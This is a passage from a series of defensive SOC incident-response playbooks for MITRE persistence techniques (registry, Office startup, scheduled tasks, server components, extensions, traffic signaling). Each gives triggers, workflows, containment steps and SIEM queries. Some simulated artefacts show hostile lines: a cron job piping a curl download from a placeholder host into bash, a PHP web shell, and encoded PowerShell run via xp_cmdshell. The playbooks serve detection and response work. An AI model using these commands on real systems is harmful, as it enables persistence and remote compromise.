- Establish stealthy, fileless persistence
- Maintain access without creating new binaries or services
- Survive reboots and basic cleanup

Modify Registry is persistence via configuration abuse attackers don't need malware files when Windows itself is instructed to run their code.

When to trigger this playbook

Trigger this playbook when indicators suggest unauthorised or suspicious registry changes, including:

- New or modified Run / RunOnce keys
- Registry entries referencing unusual executables or scripts
- Persistence without scheduled tasks or services
- Registry writes by non-admin or unexpected processes
- Execution triggered immediately after user logon or system start

Example use case scenario (end-to-end)

Context: SOC detects a PowerShell process executing every time a user logs in. No scheduled tasks or services exist. Registry analysis reveals a malicious command embedded in:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run

Attacker objective: Achieve low-noise, reliable persistence using native Windows configuration.

Defender objective: Remove registry-based persistence and prevent reinfection.

What it looks like (simulated SOC artefacts)

A) Run Key Persistence

Key=HKCU\...\Run

ValueName=UpdateCheck

ValueData=powershell.exe -enc <base64>

B) System-Level Persistence

Key=HKLM\...\Run

RunAs=SYSTEM

C) Execution Trigger

Trigger=UserLogon

NoScheduledTask=True

D) Obfuscated Payload

Command=Encoded PowerShell

E) Living-off-the-Land Abuse

Binary=powershell.exe

Signature=Microsoft Signed

F) Follow-on Activity

NextAction=CommandAndControl

Severity decision (SOC)

High

- Registry persistence limited to user context

Critical

- System-level registry persistence
- Registry entries enabling C2, credential theft or lateral movement

Example severity: Critical

(Stealthy registry-based persistence)

Step-by-step SOC workflow

Step 1 Validate registry-based persistence

Confirm:

1. Is the registry entry unauthorised or undocumented?
2. Does it execute code automatically?
3. Is the command obfuscated or suspicious?
4. Does it persist across reboot or logon?

Decision point

- Legitimate startup configuration → validate owner
- Malicious registry persistence → escalate immediately

Step 2 Identify scope and registry location

Registry Area	Evidence	Attacker value
Run / RunOnce	Auto-exec	Simplicity
Winlogon keys	Logon hijack	Stealth
IFEO	Execution redirection	Control
Explorer shell	Startup abuse	Reliability
Policy keys	Forced persistence	Defense evasion

Step 3 Map behaviour to attacker intent

3A) Reliable Execution

Indicators

- Execution at every logon/startup

Attacker intent

- Maintain access

3B) Fileless Persistence

Indicators

- Registry-only artefacts

Attacker intent

- Evade file-based detection

3C) Trust Abuse

Indicators

- Signed system binaries executing payloads

Attacker intent

- Blend into normal behaviour

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Command and Control
 - Network connections after logon
2. Defense Evasion
 - Obfuscation, disable logging
3. Privilege Escalation
 - SYSTEM-level registry keys
4. Lateral Movement
 - Credential abuse post-logon

Decision point

Follow-on detected → escalate to Major Incident IR

Containment actions

Immediate

1. Remove malicious registry entries
2. Isolate affected endpoints
3. Block associated payload execution

If registry persistence confirmed

1. Preserve registry artefacts for forensics
2. Identify processes that created the keys
3. Reset affected user credentials
4. Notify SOC leadership and Windows platform owners

Eradication and recovery

- Clean all unauthorised registry persistence entries
- Validate registry permissions and ownership
- Rebuild system if registry integrity is uncertain
- Harden PowerShell and script execution
- Monitor closely for re-creation of keys

Detection engineering (SIEM ideas)

A) Registry autorun creation

index=windows
 | where event_type="registry_add"
 | where registry_path LIKE "%\\Run%"

B) Obfuscated command in registry

index=windows
 | where registry_value LIKE "%-enc%"

C) Registry persistence without task/service

index=edr
 | where persistence="registry"

Analyst checklist

- Registry persistence confirmed
- Malicious keys removed
- Source process identified
- Credentials reviewed
- Incident escalated appropriately

Post-incident improvements

- Treat registry autoruns as high-risk persistence mechanisms
- Monitor registry writes continuously
- Restrict registry modification privileges
- Baseline approved startup registry keys
- Correlate registry write → execution → network activity

Playbook 63 (MITRE Persistence): Office Application Startup

Technique: Office Application Startup

Sub-techniques:

- Office Template Macros
- Office Test
- Outlook Forms
- Outlook Home Page
- Outlook Rules
- Add-ins

Purpose

Detect, investigate and respond to adversaries establishing persistence by abusing Microsoft Office startup and extensibility features, enabling attackers to:

- Execute malicious code whenever Office applications launch
- Persist at the user level without system autoruns
- Blend malicious logic into common productivity workflows
- Leverage trusted Office processes to evade detection
- Maintain access without elevated privileges

Office Application Startup is persistence through user productivity attackers hide where users work every day.

When to trigger this playbook

Trigger this playbook when indicators suggest unexpected or malicious Office startup behaviour, including:

- Code execution immediately after Word/Excel/Outlook launch
- Suspicious macros or add-ins loading automatically
- Outlook performing actions without user interaction
- Persistence surviving reboots without services or tasks
- Office processes spawning PowerShell, cmd or network activity

Example use case scenario (end-to-end)

Context: SOC detects PowerShell execution every morning shortly after a user opens Outlook. No scheduled tasks or registry autoruns are present. Investigation reveals a malicious Outlook rule that launches a hidden script when specific emails arrive.

Attacker objective: Maintain reliable, low-noise persistence tied to normal Office usage.

Defender objective: Remove Office-based persistence and prevent reinfection.

What it looks like (simulated SOC artefacts)

A) Office Template Macro

Template=Normal.dotm
Macro=AutoOpen()
Action=DownloadAndExecute

B) Office Test Abuse

Key=HKCU\Software\Microsoft\Office\<ver>\Test
Value=cmd.exe /c powershell -enc ...

C) Outlook Forms

Form=IPM.Note.Custom
Script=VBScript
Trigger=Open

D) Outlook Home Page

Folder=Inbox
HomePageURL=file:///C:/Users/Public/page.html

E) Outlook Rules

RuleName=Invoice Processing
Action=RunScript hidden.ps1

F) Office Add-ins

AddIn=update.xlam
LoadBehavior=Startup
Signature=Unsigned

G) Follow-on Activity

NextAction=CommandAndControl

Severity decision (SOC)

Medium

- User-level Office persistence with limited scope

High

- Office persistence enabling C2, credential access or lateral movement

Critical

- Widespread Office startup compromise across multiple users

Example severity: High

(User-level stealth persistence via Office startup)

Step-by-step SOC workflow

Step 1 Validate Office-based persistence

Confirm:

1. Does code execute only when Office apps start?
2. Are macros, add-ins or Outlook features unauthorised?
3. Is execution consistent with user behaviour (open email, doc)?
4. Does persistence survive reboot without system artefacts?

Decision point

- Legitimate Office automation → validate ownership
- Malicious Office persistence → escalate immediately

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
Template macros	AutoOpen logic	Reliability
Office Test	Hidden registry exec	Stealth
Outlook Forms	Scripted forms	Trigger control
Outlook Home Page	HTML execution	Evasion
Outlook Rules	Script execution	Persistence
Add-ins	Auto-load code	Durability

Step 3 Map behaviour to attacker intent

3A) User-Triggered Persistence

Indicators

- Execution only when Office opens

Attacker intent

- Blend into daily activity

3B) Trust Abuse

Indicators

- Microsoft-signed Office binaries

Attacker intent

- Evade allowlisting

3C) Low-Privilege Durability

Indicators

- No admin rights required

Attacker intent

- Persist quietly per user

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Command and Control
 - Network beacons from WINWORD.EXE / OUTLOOK.EXE
2. Credential Access
 - Token theft, input capture
3. Defense Evasion
 - Obfuscated macros or scripts
4. Lateral Movement
 - Phishing using compromised mailbox

Decision point

- Follow-on detected → escalate to Major Incident IR

Containment actions

Immediate

1. Disable macros, add-ins and suspicious Outlook rules
2. Isolate affected user endpoints
3. Block external destinations contacted by Office

If Office persistence confirmed

1. Preserve malicious templates, rules and add-ins
2. Reset affected user credentials
3. Notify SOC leadership and End-User Computing teams

Eradication and recovery

- Remove malicious Office artefacts (templates, add-ins, rules)
- Restore clean Office profiles
- Enforce macro security and add-in controls
- Rebuild user profiles if required
- Monitor for re-creation of Office persistence

Detection engineering (SIEM ideas)

A) Office spawning scripting engines

```
index=edr
| where parent_process IN ("WINWORD.EXE","EXCEL.EXE","OUTLOOK.EXE")
| where process_name IN ("powershell.exe","cmd.exe","wscript.exe")
```

B) Outlook rule creation or modification

```
index=windows
| where event_type="outlook_rule_change"
```

C) Unsigned Office add-ins loading

```
index=edr
| where event="add_in_load"
| where signature_status!="Signed"
```

Analyst checklist

- Office startup persistence confirmed
- Sub-technique identified
- Malicious Office artefacts removed

- User credentials reviewed
- Incident escalated appropriately

Post-incident improvements

- Treat Office extensibility as a persistence surface
- Enforce macro and add-in allowlists
- Monitor Outlook rules and forms continuously
- Educate users on Office-based threats
- Correlate Office startup → execution → network activity

Playbook 64 (MITRE Persistence): Power Settings

Technique: Power Settings

Purpose

Detect, investigate and respond to adversaries establishing persistence by modifying system power management settings, enabling attackers to:

- Ensure systems remain powered on for access and C2
- Prevent sleep, hibernation or shutdown that would disrupt malware
- Trigger execution on power events (resume, wake, lid open)
- Maintain long-running malicious processes
- Degrade user awareness by altering expected power behaviour

Power Settings is persistence through uptime control attackers keep the system awake, reachable and predictable.

When to trigger this playbook

Trigger this playbook when indicators suggest unauthorised or suspicious changes to power configuration, including:

- Sleep or hibernation disabled without approval
- Power plans modified shortly after compromise
- Wake timers or resume actions correlated with malicious execution
- Laptops failing to sleep or shutting down unexpectedly
- Long-lived malware processes that survive idle periods

Example use case scenario (end-to-end)

Context: SOC notices a user laptop continuously beaconing overnight despite lid closure. Investigation shows power sleep timers were disabled and wake timers enabled. A malicious agent relies on constant uptime to maintain C2 connectivity.

Attacker objective: Guarantee continuous availability of the compromised host.

Defender objective: Restore normal power behaviour and disrupt attacker persistence.

What it looks like (simulated SOC artefacts)

A) Sleep Disabled

PowerSetting=Sleep

Value=Never
ChangedBy=UnknownProcess

B) Hibernation Disabled

Command=powercfg /hibernate off

C) Wake Timers Enabled

WakeTimers=Enabled
Source=Unknown

D) Resume-Based Execution

Event=ResumeFromSleep
Process=malware.exe

E) User Impact

UserReport=Laptop stays awake overnight

F) Follow-on Activity

NextAction=CommandAndControl

Severity decision (SOC)

Medium

- Power settings modified without direct malicious execution

High

- Power settings supporting malware uptime or C2

Critical

- Power configuration used to guarantee persistent attacker control across many endpoints

Example severity: High

(Persistence supported by power configuration abuse)

Step-by-step SOC workflow

Step 1 Validate power-setting abuse

Confirm:

1. Were power settings changed without user or IT approval?
2. Do changes support malware uptime or execution?
3. Are changes persistent across reboots?
4. Is there correlation with malicious activity?

Decision point

- Legitimate power policy → validate ownership
- Malicious power-setting persistence → escalate

Step 2 Identify scope and technique

Indicator	Evidence	Attacker value
Sleep disabled	Powercfg changes	Continuous access
Hibernation off	Memory retained	Stability
Wake timers	Resume triggers	Execution control
Plan modification	Policy abuse	Stealth
User impact	Abnormal behaviour	Persistence

Step 3 Map behaviour to attacker intent

3A) Maintain Uptime

Indicators

- No sleep or shutdown

Attacker intent

- Keep C2 alive

3B) Execution Reliability

Indicators

- Resume-based triggers

Attacker intent

- Re-run payloads

3C) Disruption Avoidance

Indicators

- Prevent idle termination

Attacker intent

- Avoid losing foothold

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Command and Control
 - Persistent beacons during idle hours
2. Defense Evasion
 - Long-running processes avoiding restart
3. Persistence
 - Scheduled tasks or services tied to power events
4. Impact
 - Data exfiltration during off-hours

Decision point

- Follow-on detected → escalate to Major Incident IR

Containment actions

Immediate

1. Restore default power settings
2. Suspend wake timers

3. Isolate affected endpoints if malware present

If power-setting abuse confirmed

1. Preserve power configuration changes for forensics
2. Identify process or user responsible for changes
3. Remove associated malware or persistence
4. Notify SOC leadership and End-User Computing teams

Eradication and recovery

- Reset power plans to organisational baselines
- Re-enable sleep and hibernation
- Remove malware relying on uptime
- Patch and harden affected systems
- Monitor for reapplication of power changes

Detection engineering (SIEM ideas)

A) Power configuration changes

```
index=windows  
| where event_type="powercfg_change"
```

B) Resume-triggered execution

```
index=edr  
| where event="resume"  
| where process_name NOT IN expected_resume_processes
```

C) Overnight network activity

```
index=netflow  
| where _time IN off_hours  
| where host_type="Laptop"
```

Analyst checklist

- Power-setting persistence confirmed
- Malicious dependency on uptime identified
- Power policies restored

- Malware removed
- Incident escalated appropriately

Post-incident improvements

- Treat power management as a persistence-enabler
- Monitor power setting changes centrally
- Enforce baseline power policies via MDM/GPO
- Correlate power config → uptime → malicious activity
- Include power-abuse scenarios in SOC training

Playbook 65 (MITRE Persistence): Pre-OS Boot

Technique: Pre-OS Boot

Sub-techniques:

- System Firmware
- Component Firmware
- Bootkit
- ROMMONkit
- TFTP Boot

Purpose

Detect, investigate and respond to adversaries achieving persistence before the operating system loads, enabling attackers to:

- Survive OS reinstallation, disk replacement and reimaging
- Execute malicious code prior to security controls
- Hide from endpoint detection and response tooling
- Control boot flow and system integrity
- Maintain the most durable and stealthy foothold possible

Pre-OS Boot persistence is below the OS trust boundary once compromised, the attacker owns the machine lifecycle.

When to trigger this playbook

Trigger this playbook when indicators suggest firmware- or boot-level compromise, including:

- Repeated reinfection after clean OS installs
- Unexpected changes to firmware or boot configuration
- Secure Boot or TPM anomalies
- Network devices behaving maliciously before OS load
- Systems booting via unexpected network paths (PXE/TFTP)

Example use case scenario (end-to-end)

Context: SOC rebuilds a workstation multiple times after malware incidents. Each rebuild results in identical outbound beacons shortly after boot. Firmware analysis reveals a modified UEFI module executing before Windows loads.

Attacker objective: Achieve near-permanent persistence that survives all traditional remediation.

Defender objective: Identify firmware compromise and restore hardware trust.

What it looks like (simulated SOC artefacts)

A) System Firmware Compromise

Firmware=UEFI
Module=DXE
Integrity=Modified

B) Component Firmware

Component=NIC Firmware
Version=Unknown
Behaviour=Early Network Traffic

C) Bootkit

BootSector=Altered
OSLoader=Hooked

D) ROMMONkit (Network Devices)

Device=Router
ROMMON=Modified
BootIntegrity=Failed

E) TFTP Boot Abuse

BootMethod=PXE
TFTPServer=Unknown
Image=boot.img

F) Persistence Confirmation

OSReinstall=Performed
MaliciousBehaviour=Persists

Severity decision (SOC)

High

- Suspected firmware compromise without confirmation

Critical

- Confirmed boot-level or firmware persistence
- Persistence survives OS rebuilds or disk replacement

Example severity: Critical

(Loss of hardware-level trust)

Step-by-step SOC workflow

Step 1 Validate pre-OS persistence

Confirm:

1. Does compromise survive OS reinstall or disk wipe?
2. Are there firmware, bootloader or ROM changes?
3. Is behaviour observable before OS services start?
4. Are Secure Boot, TPM or firmware measurements abnormal?

Decision point

- OS-level reinfection → investigate persistence mechanisms
- Pre-OS compromise → escalate immediately

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
System firmware	UEFI/BIOS tampering	Ultimate persistence
Component firmware	NIC, disk, BMC	Early execution
Bootkit	Bootloader hooks	OS control
ROMMONkit	Network device takeover	Infrastructure access
TFTP boot	Rogue images	Supply-chain persistence

Step 3 Map behaviour to attacker intent

3A) Absolute Persistence

Indicators

- Survives rebuilds and wipes

Attacker intent

- Permanent foothold

3B) Security Control Bypass

Indicators

- Executes before EDR/AV

Attacker intent

- Total evasion

3C) Infrastructure Control

Indicators

- Network or firmware-level hooks

Attacker intent

- Broad environment access

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Command and Control
 - Beacons from freshly booted systems
2. Credential Access
 - Pre-OS credential interception
3. Lateral Movement
 - Network device or PXE abuse
4. Impact
 - Espionage, sabotage, destructive attacks

Decision point

- Follow-on detected → escalate to Crisis / Executive IR

Containment actions

Immediate

1. Isolate affected hardware from all networks
2. Suspend further rebuild attempts
3. Preserve affected systems for forensic analysis

If pre-OS persistence confirmed

1. Treat incident as hardware-level compromise
2. Engage hardware vendors and OEMs
3. Notify SOC leadership, IT Ops, Risk and Executive Management
4. Prepare for device replacement, not repair

Eradication and recovery

- Reflash firmware using trusted, offline tools
- Replace compromised hardware if integrity cannot be guaranteed
- Restore Secure Boot, TPM and measured boot
- Audit PXE/TFTP infrastructure
- Rebuild systems from known-good hardware roots

Detection engineering (SIEM ideas)

A) Secure Boot / TPM anomalies

```
index=windows  
| where event_type IN ("secure_boot_violation","tpm_measurement_fail")
```

B) Network traffic immediately post-boot

```
index=netflow  
| where host_uptime < 5  
| where dest_ip IN suspicious_list
```

C) Firmware integrity drift

```
index=fim  
| where object_type="firmware"  
| where integrity_status="Modified"
```

Analyst checklist

- Pre-OS persistence suspected or confirmed
- Firmware / boot components analysed
- Hardware isolated
- Executive escalation completed
- Replacement or re-trust plan initiated

Post-incident improvements

- Treat firmware and boot components as Tier-0 assets
- Enforce Secure Boot and measured boot everywhere
- Restrict firmware update privileges
- Monitor PXE/TFTP usage aggressively
- Maintain rapid hardware replacement playbooks

Playbook 66 (MITRE Persistence): Scheduled Task / Job

Technique: Scheduled Task / Job

Sub-techniques:

- At
- Cron
- Scheduled Task
- Systemd Timers
- Container Orchestration Job

Purpose

Detect, investigate and respond to adversaries achieving persistence by scheduling malicious execution, enabling attackers to:

- Re-execute payloads after reboot or at fixed intervals
- Recover access if malware is terminated
- Blend into legitimate administrative automation
- Trigger delayed or conditional execution
- Maintain long-term access with minimal footprint

Scheduled Task / Job is time-based persistence attackers let the system call them back.

When to trigger this playbook

Trigger this playbook when indicators suggest unauthorised or suspicious scheduled execution, including:

- Unknown tasks or jobs running periodically
- Execution occurring at odd hours or after reboot
- Tasks created by non-admin or unexpected processes
- Scheduled execution launching scripting engines
- Persistence that survives reboot without services or autoruns

Example use case scenario (end-to-end)

Context: SOC observes PowerShell execution every 30 minutes from a workstation, even after malware removal. Task inspection reveals a hidden Windows Scheduled Task executing an encoded command.

Attacker objective: Maintain reliable re-execution and regain access automatically.

Defender objective: Remove scheduled persistence and identify the initial creation vector.

What it looks like (simulated SOC artefacts)

A) Windows Scheduled Task

TaskName=UpdateCheck
Trigger=Every 30 minutes
Action=powershell.exe -enc <base64>
Author=Unknown

B) Linux Cron Job

```
* /15 * * * * root /usr/bin/curl http://x.x.x.x/payload.sh | bash
```

C) Legacy AT Job

```
at 02:00 /interactive cmd.exe /c backdoor.exe
```

D) systemd Timer

Timer=net-sync.timer
Service=net-sync.service
ExecStart=/bin/bash -c "wget ..."

E) Container Orchestration Job

Platform=Kubernetes
Job=cleanup-job
Image=unknown:latest
Schedule=*/10 * * * *

F) Follow-on Activity

NextAction=CommandAndControl

Severity decision (SOC)

Medium

- User-level scheduled job with limited impact

High

- System-level or server-side scheduled execution

Critical

- Scheduled jobs enabling C2, credential access or lateral movement across many systems

Example severity: High

(Reliable scheduled persistence)

Step-by-step SOC workflow

Step 1 Validate scheduled persistence

Confirm:

1. Is the task/job unauthorised or undocumented?
2. Does it execute code automatically?
3. Is the command obfuscated, remote or suspicious?
4. Does it persist across reboot?

Decision point

- Legitimate automation → validate owner and approval
- Malicious scheduled persistence → escalate

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
At	Legacy one-time or interactive exec	Stealth
Cron	Periodic execution	Reliability
Scheduled Task	Fine-grained triggers	Control
Systemd Timers	Root-level automation	Durability
Container Job	Cloud-native persistence	Scale

Step 3 Map behaviour to attacker intent

3A) Reliable Re-Execution

Indicators

- Execution at fixed intervals

Attacker intent

- Regain foothold automatically

3B) Delayed or Conditional Access

Indicators

- Night-time or idle-based triggers

Attacker intent

- Avoid user detection

3C) Blending with Operations

Indicators

- Task names mimicking maintenance

Attacker intent

- Evade admin scrutiny

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Command and Control
 - Network traffic following task execution
2. Defense Evasion
 - Obfuscated scripts, LOLBins
3. Privilege Escalation
 - SYSTEM or root-level tasks
4. Lateral Movement
 - Tasks deploying tools elsewhere

Decision point

- Follow-on detected → escalate to Major Incident IR

Containment actions

Immediate

1. Disable or delete malicious tasks/jobs
2. Isolate affected hosts if active malware present

3. Block external resources referenced by jobs

If scheduled persistence confirmed

1. Preserve task/job definitions for forensics
2. Identify process or user that created the job
3. Reset affected credentials
4. Notify SOC leadership and platform owners

Eradication and recovery

- Remove all unauthorised scheduled tasks/jobs
- Validate system cron, task scheduler and timers
- Patch initial access vectors
- Harden task creation permissions
- Monitor closely for task re-creation

Detection engineering (SIEM ideas)

A) New scheduled task creation

index=windows
| where event_type="task_created"

B) Cron or systemd modification

index=linux
| where file_path IN ("/etc/crontab", "/etc/cron.d", "/etc/systemd/system")

C) Container job scheduling

index=cloud
| where action="create_job"
| where schedule IS NOT NULL

Analyst checklist

- Scheduled persistence confirmed
- Sub-technique identified
- Malicious jobs removed
- Creation source identified
- Incident escalated appropriately

Post-incident improvements

- Treat scheduled execution as a primary persistence vector
- Baseline approved tasks and jobs
- Alert on task creation with scripting engines
- Restrict who can schedule system-level jobs
- Correlate task creation → execution → network activity

Playbook 67 (MITRE Persistence): Server Software Component

Technique: Server Software Component

Sub-techniques:

- SQL Stored Procedures
- Transport Agent
- Web Shell
- IIS Components
- Terminal Services DLL
- vSphere Installation Bundles

Purpose

Detect, investigate and respond to adversaries achieving persistence by embedding malicious logic directly into server-side software components, enabling attackers to:

- Persist on high-value servers rather than endpoints
- Execute malicious code as part of legitimate server operations
- Survive service restarts and application updates
- Blend into backend workflows and administrative tooling
- Maintain privileged, long-term access to critical infrastructure

Server Software Component persistence is back-end persistence attackers hide inside the services organisations depend on.

When to trigger this playbook

Trigger this playbook when indicators suggest unexpected or malicious behaviour originating from server components, including:

- Database servers executing network calls or OS commands
- Mail servers modifying or exfiltrating messages silently
- Web servers executing unauthorised code without new deployments
- Virtualisation platforms behaving abnormally post-update
- Persistence that survives application restarts but not OS rebuilds

Example use case scenario (end-to-end)

Context: SOC detects outbound HTTPS traffic from a SQL Server that should have no internet access. Investigation reveals a malicious SQL stored procedure executing PowerShell via xp_cmdshell.

Attacker objective: Maintain persistent, privileged execution within a critical server role.

Defender objective: Remove server-embedded persistence and restore application trust.

What it looks like (simulated SOC artefacts)

A) SQL Stored Procedure Abuse

Procedure=sp_syncdata
Action=xp_cmdshell powershell.exe -enc ...
Creator=Unknown

B) Mail Transport Agent

MailServer=Exchange
TransportAgent=UpdateAgent.dll
Action=CopyOutboundMail

C) Web Shell

Path=/var/www/html/.cache/.cmd.php
Access=POST
Command=system(\$_POST['cmd'])

D) IIS Component

Module=HttpModule
Assembly=customauth.dll
LoadOnStartup=True

E) Terminal Services DLL

File=termsrv.dll
Integrity=Modified
Hook=Authentication

F) vSphere Installation Bundle

Bundle=esx-base.vib
Signature=Invalid
PostInstallScript=enabled

G) Follow-on Activity

NextAction=LateralMovement

Severity decision (SOC)

High

- Persistence limited to a single non-critical server

Critical

- Persistence embedded in core infrastructure (DB, mail, web, virtualisation)
- Privileged execution within server processes

Example severity: Critical

(Back-end persistence on Tier-0 infrastructure)

Step-by-step SOC workflow

Step 1 Validate server-side persistence

Confirm:

1. Is malicious logic embedded within server software?
2. Does execution occur as part of normal service operation?
3. Does persistence survive service restarts?
4. Is access privileged by default?

Decision point

- Legitimate plugin/extension → validate approval and integrity
- Malicious server component → escalate immediately

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
SQL procedures	OS command execution	DB control
Transport agents	Mail access	Data theft
Web shells	Remote command exec	Stealth
IIS components	Auth / request control	Persistence
Terminal Services DLL	Session hijacking	Privilege
vSphere bundles	Hypervisor access	Infrastructure takeover

Step 3 Map behaviour to attacker intent

3A) Privileged Persistence

Indicators

- Execution inside server process context

Attacker intent

- High-trust execution

3B) Stealth and Durability

Indicators

- No new services or tasks

Attacker intent

- Blend into operations

3C) Infrastructure Leverage

Indicators

- Control of DB, mail, web or hypervisor

Attacker intent

- Broad environment dominance

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. **Lateral Movement**
 - Credential access from servers
2. **Credential Access**
 - Service account abuse
3. **Command and Control**
 - Backend beacons
4. **Impact**
 - Data exfiltration, sabotage, ransomware staging

Decision point

- Follow-on detected → escalate to Crisis / Executive IR

Containment actions

Immediate

1. Isolate affected servers from the network
2. Disable malicious components where possible
3. Suspend dependent services if required

If server component persistence confirmed

1. Preserve binaries, scripts and configs for forensics
2. Identify how the component was introduced
3. Notify SOC leadership, Platform Owners and Management
4. Treat incident as Tier-0 compromise if applicable

Eradication and recovery

- Remove malicious stored procedures, agents, modules or bundles
- Reinstall affected server software from trusted sources
- Rotate all server and service account credentials
- Patch vulnerabilities enabling component injection
- Rebuild servers if integrity cannot be guaranteed

Detection engineering (SIEM ideas)

A) SQL Server executing OS commands

```
index=db  
| where command IN ("xp_cmdshell","sp_OACreate")
```

B) Web server unexpected file execution

```
index=web  
| where uri LIKE "%.php"  
| where file_path NOT IN approved_paths
```

C) Server module or bundle integrity changes

```
index=fim  
| where object_type IN ("dll","vib","module")  
| where integrity_status="Modified"
```

Analyst checklist

- Server-side persistence confirmed
- Sub-technique identified
- Malicious components removed
- Credential rotation completed
- Incident escalated appropriately

Post-incident improvements

- Treat server components as persistence attack surfaces
- Enforce strict integrity monitoring on server software
- Restrict extension/plugin installation
- Monitor server processes for outbound connections
- Correlate server execution → privilege → lateral movement

Playbook 68 (MITRE Persistence): Software Extensions

Technique: Software Extensions

Sub-techniques:

- Browser Extensions
- IDE Extensions

Purpose

Detect, investigate and respond to adversaries achieving persistence by abusing extensibility mechanisms in browsers and development environments, enabling attackers to:

- Maintain execution inside trusted user applications
- Persist across reboots, logouts and application restarts
- Capture credentials, tokens and sensitive data
- Inject malicious logic into developer or browsing workflows
- Evade traditional autorun, service and task monitoring

Software Extensions is persistence via trust transference attackers hide inside tools users inherently trust and constantly use.

When to trigger this playbook

Trigger this playbook when indicators suggest unauthorised or suspicious browser or IDE extensions, including:

- New extensions installed without user awareness
- Extensions with excessive or unrelated permissions
- Browser or IDE processes initiating network connections unexpectedly
- Persistence that survives reboots without system artefacts
- Developer environments behaving abnormally (build tampering, credential leaks)

Example use case scenario (end-to-end)

Context: SOC detects repeated authentication token leakage from a developer workstation. No malware is found. Investigation reveals a malicious VS Code extension exfiltrating source code and cloud credentials.

Attacker objective: Maintain stealthy, long-term access through trusted productivity tooling.

Defender objective: Remove extension-based persistence and protect user and developer environments.

What it looks like (simulated SOC artefacts)

A) Browser Extension Persistence

Browser=Chrome
ExtensionID=abcd1234
Permissions=ReadAllWebsites, Clipboard, Cookies
InstallSource=External

B) Silent Auto-Load

ExtensionState=Enabled
LoadOnStartup=True
UserPrompt=False

C) IDE Extension Abuse

IDE=VSCode
Extension=cloud-helper
Action=ReadWorkspace
Network=api.external-domain.com

D) Credential Access

Data=OAuth Token
Source=Browser Storage

E) Trusted Process Execution

Process=chrome.exe
Process=code.exe

F) Follow-on Activity

NextAction=CredentialAccess

Severity decision (SOC)

Medium

- Single-user extension abuse with limited data exposure

High

- Credential theft, code access or persistent data exfiltration

Critical

- Widespread extension abuse across users or developer environments

Example severity: High

(Stealth persistence inside trusted applications)

Step-by-step SOC workflow

Step 1 Validate extension-based persistence

Confirm:

1. Is the extension unauthorised or unapproved?
2. Does it auto-load on application start?
3. Does it request excessive permissions?
4. Is it communicating externally or manipulating data?

Decision point

- Approved extension → validate integrity and behaviour
- Malicious extension → escalate

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
Browser extensions	Cookie/token access	Credential theft
IDE extensions	Code/workspace access	IP theft
Auto-update abuse	Remote code updates	Durability
Trusted context	Signed host process	Evasion

Step 3 Map behaviour to attacker intent

3A) Trust Abuse

Indicators

- Runs inside Chrome / IDE

Attacker intent

- Evade security scrutiny

3B) Data-Centric Persistence

Indicators

- Continuous access to browsing or code

Attacker intent

- Steal credentials and IP

3C) User-Level Durability

Indicators

- Survives reboot without system artefacts

Attacker intent

- Long-term foothold

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Credential Access
 - Cookies, OAuth tokens, API keys
2. Collection
 - Source code, browsing data
3. Command and Control
 - External API communications
4. Lateral Movement
 - Abuse of developer credentials

Decision point

- Follow-on detected → escalate to Major Incident IR

Containment actions

Immediate

1. Disable and remove malicious extensions
2. Isolate affected endpoints if data exfiltration suspected

3. Block extension C2 endpoints

If extension persistence confirmed

1. Preserve extension packages and configs for forensics
2. Reset affected user and developer credentials
3. Notify SOC leadership and Endpoint / DevOps teams

Eradication and recovery

- Remove unauthorised extensions across all affected systems
- Enforce extension allowlists
- Rebuild browser or IDE profiles if needed
- Rotate exposed credentials
- Monitor for reinstallation attempts

Detection engineering (SIEM ideas)

A) New extension installation

```
index=endpoint  
| where event_type="extension_install"  
| where source!="official_store"
```

B) Browser/IDE outbound traffic anomalies

```
index=netflow  
| where process IN ("chrome.exe","msedge.exe","code.exe")  
| where dest_domain NOT IN approved_list
```

C) Excessive permission extensions

```
index=endpoint  
| where extension_permissions LIKE "%cookies%"
```

Analyst checklist

- Extension-based persistence confirmed
- Sub-technique identified
- Malicious extensions removed
- Credentials rotated
- Incident escalated appropriately

Post-incident improvements

- Treat extensions as persistence mechanisms, not just add-ons
- Enforce browser and IDE extension governance
- Monitor extension install and update events
- Educate users and developers on extension risks
- Correlate extension install → data access → network activity

Playbook 69 (MITRE Persistence): Traffic Signaling

Technique: Traffic Signaling

Sub-techniques:

- Port Knocking
- Socket Filters

Purpose

Detect, investigate and respond to adversaries achieving persistence by embedding covert network-based triggers that control access or execution, enabling attackers to:

- Keep backdoors dormant until a specific signal is received
- Avoid constant listening services that raise alerts
- Hide persistence behind legitimate network behaviour
- Enable on-demand access without local user interaction
- Survive reboots with minimal on-host artefacts

Traffic Signaling is persistence through invisibility attackers wait silently until the network tells them to wake up.

When to trigger this playbook

Trigger this playbook when indicators suggest covert network-triggered persistence, including:

- Services activating only after specific connection patterns
- No open listening ports despite confirmed remote access
- Unusual packet sequences preceding execution
- Kernel- or network-layer components modifying traffic handling
- Persistence that appears inactive until external interaction

Example use case scenario (end-to-end)

Context: SOC detects intermittent remote access to a Linux server, but netstat shows no listening ports. Packet capture reveals a specific sequence of TCP SYN packets triggering a hidden SSH backdoor via port knocking.

Attacker objective: Maintain stealthy, on-demand persistence without exposing services.

Defender objective: Identify and disable network-triggered persistence mechanisms.

What it looks like (simulated SOC artefacts)

A) Port Knocking Sequence

SourceIP=203.0.113.10
Sequence=TCP:1111,2222,3333
Result=SSH Port Opened

B) Dormant State

Service=sshd
Status=Closed
BeforeSignal=True

C) Post-Signal Activation

Service=Backdoor
Trigger=Correct Knock Sequence

D) Socket Filter Installation

Module=netfilter
Rule=Custom
Action=Intercept TCP Packets

E) Kernel-Level Hook

Component=Socket Filter
Scope=Inbound Traffic

F) Follow-on Activity

NextAction=LateralMovement

Severity decision (SOC)

High

- Traffic signaling used for persistence on a single host

Critical

- Network-triggered persistence across servers or infrastructure
- Kernel- or firewall-layer packet manipulation

Example severity: High

(Stealth, on-demand persistence)

